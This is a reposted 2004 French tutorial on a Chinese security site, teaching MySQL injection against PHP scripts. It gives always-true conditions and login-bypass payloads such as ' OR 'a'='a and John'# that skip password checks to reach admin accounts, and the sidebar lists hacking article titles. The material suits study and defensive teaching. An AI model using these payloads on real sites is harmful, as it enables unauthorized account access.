首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>入侵实例>文章内容
mysql注入大全(一)
来源:vfocus.net 作者:vfocus 发布时间:2004-06-21  

mysql注入大全(一)

L'injection (My)SQL via PHP

Table des matières :

1- Introduction
2- SELECT
3- INSERT
4- UPDATE
5- Conclusion/Credit


Introduction :

Le texte qui suit va vous apprendre ce que je sais de l'injection SQL dans PHP, avec une base de donnée MySQL. Le code MySQL/PHP est inscrit en bleu et les valeurs données à des variables dans le but de faire de l'injection en rouge.
Tout ce qui est écrit ici a été mis en pratique par moi-même.
Finalement, il y a peu de cas d'injection SQL applicables avec le langage PHP, contrairement à l'ASP ou au JSP, à cause de sa configuration par défaut (on en reparlera plus tard). Mais ça arrive quand même, parfois à grande echelle, et de toute façon la théorie est assez intèressante.
Avec les nombreuses mises à jour de MySQL, il est evident qu'un tutoriel sur ce sujet ne sera jamais complet (ou du moins pas longtemps).
Rappelons que l'injection SQL consiste en changer le but premier d'une requête SQL, grâce à des variables modifiables par l'utilisateur.
Imaginons une page php permettant de rechercher un utilisateur enregistré sur le site.
La requête pourrait être quelque chose du style:


$req = "SELECT * FROM membres WHERE name LIKE '%$search%' ORDER BY name";


où $search est la variable modifiable par l'utilisateur, venant d'un formulaire post (ou autre chose) de ce type :


<form method="POST" action="<? echo $PHP_SELF; ?>">
<input type="text" name="search"><br>
<input type="submit" value="Search">
</form>


Un exemple d'injection SQL, pour afficher par exemple les membres non pas par ordre alphabetique (par 'name'), mais
bien par uid, donc par ordre d'inscription, serait de donner à $search la valeur : %' ORDER BY uid#. La requête executée serait alors transformée en :


SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name

Ce qui n'est pas la volonté originelle du script.
Je ne vais pas détailler cet exemple; ne precipitons pas trop les choses, chaque chose en son temps, tout vient à point à qui sait attendre, qui vivra verra (?)
Revenons au problème de la configuration PHP. Il y a dans le php.ini une ligne permettant de définir le "magic_quotes_gpc". Si cette option est sur ON, ce qui est le cas par défaut (donc pour 97% des sites php), les " et les ' vont êtres "slashés", c'est à dire qu'ils seront transformés en \" et '.
Donc si c'était le cas dans notre premier exemple, la requête executée aurait été :


SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name


Ce qui revient à chercher un nom qui contient la phrase : %' ORDER BY uid# dans la table `membres`, ce qui ne donne bien sûr aucun résultat.
C'est pourquoi dans ce tutoriel nous allons considerer que nous travaillons sur un site avec le magic_quotes_gpc sur OFF.

Les trois principaux types de requêtes executées dans des scripts PHP sont SELECT, INSERT et UPDATE.
SELECT extrait des renseignements d'une ou plusieurs tables, INSERT ajoute un enregistrement, et UPDATE modifie un enregistrement déjà créé.

SELECT :

Commencons par la plus classique, la requête SELECT, ce qui va aussi nous permettre de voir en premier le type d'injection
SQL le plus connu, le plus utilisé, et pour lequel il y a le plus à dire. SELECT est souvent utilisé dans les authentifications admins ou membres.
Imaginons donc un formulaire où on demande le mot de passe et le login. Les valeurs entrées sont renvoyées vers une requête MySQL :


$req = "SELECT uid FROM admins WHERE login='$login' AND password='$pass'";


On execute ensuite cette requête, s'il y a un résultat, c'est que le login et mot de passe existent bien et correspondent, et donc qu'on est administrateur.
A première vue, pour valider cette requête, il faut un login et un mot de passe valide.
Pour que l'expression login='$login' ou password='$pass' renvoie 'vrai', il faudrait que le login ou le mot de passe entré dans $login/$pass existe.
C'est le moment de parler des conditions qui renvoient toujours 'vrai'. On devrait plus les appeler des affirmations que des conditions dans ces cas là.
je vous ait concocté une petite liste de requêtes qui renverront toujours 'vrai' :


SELECT * FROM table WHERE 1=1
SELECT * FROM table WHERE 'uuu'='uuu'
SELECT * FROM table WHERE 1<>2
SELECT * FROM table WHERE 3>2
SELECT * FROM table WHERE 2<3
SELECT * FROM table WHERE 1
SELECT * FROM table WHERE 1+1
SELECT * FROM table WHERE 1--1
SELECT * FROM table WHERE ISNULL(NULL)
SELECT * FROM table WHERE ISNULL(COT(0))
SELECT * FROM table WHERE 1 IS NOT NULL
SELECT * FROM table WHERE NULL IS NULL
SELECT * FROM table WHERE 2 BETWEEN 1 AND 3
SELECT * FROM table WHERE 'b' BETWEEN 'a' AND 'c'
SELECT * FROM table WHERE 2 IN (0,1,2)
SELECT * FROM table WHERE CASE WHEN 1>0 THEN 1 END


Vous l'avez compris, on affirme à chaque fois une réalité sûre : 1=1 (1 égal 1... hé oui), 1 est different de 2, 3 est plus grand que 2, b se trouve entre a et c, NULL est NULL, etc... Il en existe bien sûr bien d'autres.
Cette idée d'expression qui renvoie toujours 'vrai' est un des grands principes de l'injection SQL.
En effet, si on arrive à insérer un "toujours vrai" dans la requête, inutile d'avoir un login et un mot de passe.
Par exemple en donnant à $login et $pass la valeur : ' OR 'a'='a, on executera une requête SQL du type :


SELECT uid FROM admins WHERE login='' OR 'a'='a' AND password='' OR 'a'='a'


Ce qui renverra 'vrai', puisque 'a'='a' est toujours vrai !
Ici, c'est le premier enregistrement de la table qui sera choisie, l'uid extrait sera donc '1'.
Et la plupart du temps, le premier membre/admin enregistré est le propriétaire du site, ayant donc le plus de droits.
Si on veut pouvoir choisir le compte auquel accèder, il faut avoir une information, par exemple le pseudo.
Si on veut accéder au compte de John, il suffit de rentrer comme $login "John" et comme $pass une expression renvoyant toujours 'vrai', par exemple : ' OR 'b' BETWEEN 'a' AND 'c, ce qui executera la requête :


SELECT uid FROM admins WHERE login='John' AND password='' OR 'b' BETWEEN 'a' AND 'c'


Voyons maintenant un autre grand principe de l'injection sql, qui peut être utile dans l'exemple que nous avons ici, et dans d'autres à venir : l'utilisation de caractères "commentaires".
Il y a d'abord le caractère # qui commente tout ce qui le suit (ce n'est donc plus exécuté sur la BD). Par exemple :


SELECT * FROM table WHERE nom='Jack'# commentaire


exécutera la requête :


SELECT * FROM table WHERE nom='Jack'


L'autre possibilité est d'utiliser /* et */, qui transforme en commentaires ce qui se trouve entre les 2. Par exemple :


SELECT * FROM table WHERE /* commentaires */ addresse='25 rue des roubys'


exécutera la requête :


SELECT * FROM table WHERE addresse='25 rue des roubys'


L'utilisation de ces caractères dans l'injection SQL va ici principalement nous servir à faire ignorer des parties de requête à l'execution, de façon à sauter des conditions, un peu comme la méthode 'jump' en cracking.
Revenons à notre exemple, en utilisant cette fois cette nouvelle connaissance
Pour arriver dans le compte de John, il suffit alors de taper comme $login : John'#, ce qui donnera la requête :


SELECT uid FROM admins WHERE login='John'#' AND password=''



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·另类网站入侵之一句话木马图片的
·0day批量拿站webshell,挖掘机是
·利用ewebeditor 5.5 - 6.0 鸡肋
·OmniPeek抓包的一点看法
·强大的嗅探工具ettercap使用教程
·Windows系统密码破解全攻略
·破解禁止SSID广播
·XSS偷取密码Cookies通用脚本
·XSS漏洞基本攻击代码
·Intel 3945ABG用OmniPeek 4.1抓
·KesionCMS V7.0科汛内容网站管理
·破解无线过滤MAC
  相关文章
·oracle注入大全(一)
·SQL Server应用程序中的高级SQL
·针对ACCESS漏洞又一发现
·让IE6.0执行EXE文件的网页
·会话劫持攻击实战
·怪异的SQL注入
·黑客防线---主机外部的危险
·如何利用黑客技术跟踪并分析一名
·SQL脚本语言学习黑客篇
·IE最新漏洞+使用方法
·一次对孝感铁通网站的检测过程
·怪异的SQL注入
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved